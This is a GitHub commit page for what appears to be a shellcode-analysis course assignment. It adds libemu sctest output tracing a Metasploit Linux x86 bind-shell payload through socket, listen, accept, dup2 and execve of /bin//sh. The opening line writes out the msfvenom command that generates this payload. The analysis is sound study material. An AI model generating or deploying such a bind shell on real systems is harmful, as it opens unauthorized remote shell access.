Skip to content

Commit 1da5cdd

Browse files
committed
Assignment 5.2
1 parent 593d18a commit 1da5cdd

File tree

2 files changed

+95
-0
lines changed

2 files changed

+95
-0
lines changed

Assignment 5.2/flow.png

89.4 KB
Loading

Assignment 5.2/sctest_output.txt

+95
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
root@kali:~/Desktop/libemu/tools/sctest# msfvenom -p linux/x86/shell_bind_tcp_random_port -f raw | ./sctest -vvv -Ss 10000
2+
verbose = 3
3+
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
4+
No Arch selected, selecting Arch: x86 from the payload
5+
No encoder or badchars specified, outputting raw payload
6+
Payload size: 57 bytes
7+
8+
... redacted ...
9+
10+
int socket (
11+
int domain = 2;
12+
int type = 1;
13+
int protocol = 0;
14+
) = 14;
15+
int listen (
16+
int s = 14;
17+
int backlog = 0;
18+
) = 0;
19+
int accept (
20+
int sockfd = 14;
21+
sockaddr_in * addr = 0x00000000 =>
22+
none;
23+
int addrlen = 0x00000002 =>
24+
none;
25+
) = 19;
26+
int dup2 (
27+
int oldfd = 19;
28+
int newfd = 14;
29+
) = 14;
30+
int dup2 (
31+
int oldfd = 19;
32+
int newfd = 13;
33+
) = 13;
34+
int dup2 (
35+
int oldfd = 19;
36+
int newfd = 12;
37+
) = 12;
38+
int dup2 (
39+
int oldfd = 19;
40+
int newfd = 11;
41+
) = 11;
42+
int dup2 (
43+
int oldfd = 19;
44+
int newfd = 10;
45+
) = 10;
46+
int dup2 (
47+
int oldfd = 19;
48+
int newfd = 9;
49+
) = 9;
50+
int dup2 (
51+
int oldfd = 19;
52+
int newfd = 8;
53+
) = 8;
54+
int dup2 (
55+
int oldfd = 19;
56+
int newfd = 7;
57+
) = 7;
58+
int dup2 (
59+
int oldfd = 19;
60+
int newfd = 6;
61+
) = 6;
62+
int dup2 (
63+
int oldfd = 19;
64+
int newfd = 5;
65+
) = 5;
66+
int dup2 (
67+
int oldfd = 19;
68+
int newfd = 4;
69+
) = 4;
70+
int dup2 (
71+
int oldfd = 19;
72+
int newfd = 3;
73+
) = 3;
74+
int dup2 (
75+
int oldfd = 19;
76+
int newfd = 2;
77+
) = 2;
78+
int dup2 (
79+
int oldfd = 19;
80+
int newfd = 1;
81+
) = 1;
82+
int dup2 (
83+
int oldfd = 19;
84+
int newfd = 0;
85+
) = 0;
86+
int execve (
87+
const char * dateiname = 0x00416fb6 =>
88+
= "/bin//sh";
89+
const char * argv[] = [
90+
= 0xffffffff =>
91+
none;
92+
];
93+
const char * envp[] = 0x00000000 =>
94+
none;
95+
) = 0;

0 commit comments

Comments
 (0)